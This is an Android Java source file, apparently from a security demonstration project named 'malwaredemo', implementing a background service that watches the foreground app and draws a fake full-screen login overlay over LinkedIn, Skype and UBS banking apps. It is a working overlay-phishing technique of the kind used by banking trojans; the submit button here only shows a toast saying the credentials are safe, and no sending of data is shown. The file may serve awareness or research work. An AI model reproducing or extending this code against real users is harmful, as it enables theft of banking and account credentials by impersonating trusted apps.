package com.geeksonsecurity.malwaredemo;

import android.app.ActivityManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.res.Configuration;
import android.graphics.PixelFormat;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.Toast;

import com.geeksonsecurity.malwaredemo.domain.MonitoredProcess;
import com.geeksonsecurity.malwaredemo.domain.OverlayType;
import com.geeksonsecurity.malwaredemo.domain.Settings;

import java.util.Timer;
import java.util.TimerTask;


public class MainService extends Service {

    private static final String TAG = MainService.class.getSimpleName();

    private Timer _timer;
    private ForegroundAppTimerTask _checkForegroundAppTimerTask;
    private Handler _handler;
    public WindowManager _windowManager;
    private Settings _settings;
    private boolean _isOverlayActive;
    private MonitoredProcess _lastInjectedProcess = MonitoredProcess.NONE;
    private ProcessHelper _processHelper;

    private void runOnUiThread(Runnable runnable) {
        _handler.post(runnable);
    }

    @Override
    public IBinder onBind(Intent i) {
        return null;
    }

    public void timerCheckForegroundApp() {
        _timer = new Timer();
        _checkForegroundAppTimerTask = new ForegroundAppTimerTask();
        _timer.schedule(_checkForegroundAppTimerTask, 0, 500);
    }

    class ForegroundAppTimerTask extends TimerTask {

        public ForegroundAppTimerTask() {
            super();
        }

        @Override
        public void run() {
            String packageName = _processHelper.getForegroundApp();

            if (!_isOverlayActive) {
                if (packageName.startsWith("com.linkedin") && _settings.isLinkedinEnabled()) {
                    injectView(MonitoredProcess.LINKEDIN);
                } else if (packageName.startsWith("com.skype") && _settings.isSkypeEnabled()) {
                    injectView(MonitoredProcess.SKYPE);
                } else if (packageName.startsWith("com.ubs.") && _settings.isUbsEnabled()) {
                    injectView(MonitoredProcess.UBS);
                } else {
                    _lastInjectedProcess = MonitoredProcess.NONE;
                }

            }
        }
    }

    private void injectView(final MonitoredProcess process) {
        if (_lastInjectedProcess != process) {
            _isOverlayActive = true;
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Log.d(TAG, "Injecting view into " + process);
                    if (_settings.getOverlayType() == OverlayType.ACTIVITY) {
                        Intent intent = new Intent(getApplicationContext(), OverlayActivity.class);
                        intent.putExtra("package", process);
                        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                        startActivity(intent);
                    } else {
                        final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
                                WindowManager.LayoutParams.MATCH_PARENT,
                                WindowManager.LayoutParams.MATCH_PARENT,
                                WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
                                WindowManager.LayoutParams.FLAG_FULLSCREEN,
                                PixelFormat.TRANSLUCENT);

                        LayoutInflater li = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE);

                        View mainView = null;

                        switch (process) {
                            case LINKEDIN:
                                mainView = li.inflate(R.layout.linkedin_overlay, null);
                                break;
                            case SKYPE:
                                mainView = li.inflate(R.layout.skype_overlay, null);
                                break;
                            case UBS:
                                mainView = li.inflate(R.layout.ubs_overlay, null);
                                break;

                        }

                        if (mainView == null) {
                            _isOverlayActive = false;
                            return;
                        }

                        Button submitButton = (Button) mainView.findViewById(R.id.submit);

                        final View finalMainView = mainView;

                        submitButton.setOnClickListener(new View.OnClickListener() {
                            @Override
                            public void onClick(View view) {
                                Toast.makeText(getApplicationContext(), "Thanks for giving your credentials to the malware, but don't worry the credentials are still safe!", Toast.LENGTH_SHORT).show();
                                _windowManager.removeViewImmediate(finalMainView);
                                _isOverlayActive = false;
                                _lastInjectedProcess = process;
                            }
                        });

                        _windowManager.addView(finalMainView, params);
                    }
                }
            });
        }
    }

    @Override
    public void onCreate() {
        super.onCreate();
        _handler = new Handler();
        _windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
        ActivityManager activityManager = (ActivityManager) getApplicationContext().getSystemService(ACTIVITY_SERVICE);
        _processHelper = new ProcessHelper(activityManager);
        timerCheckForegroundApp();
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        stopForeground(true);
    }

    @Override
    public void onConfigurationChanged(Configuration newConfig) {
        super.onConfigurationChanged(newConfig);
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        super.onStartCommand(intent, flags, startId);

        _settings = Settings.Load(getApplicationContext());

        if (null != intent) {
            if (intent.getAction() != null) {
                Log.i(TAG, "Received intent action " + intent.getAction());
                if (intent.getAction().equals(ServiceCommunication.UPDATE_SETTINGS)) {
                    Log.i(TAG, "Settings updated!");
                    Log.i(TAG, "Current settings: " + _settings.toString());
                    _settings = Settings.Load(getApplicationContext());
                } else if (intent.getAction().equals(ServiceCommunication.STOP_OVERLAY)) {
                    _isOverlayActive = false;
                    Log.i(TAG, "Activity overlay flag reset!");
                }
            }
        }
        return START_STICKY;
    }
}
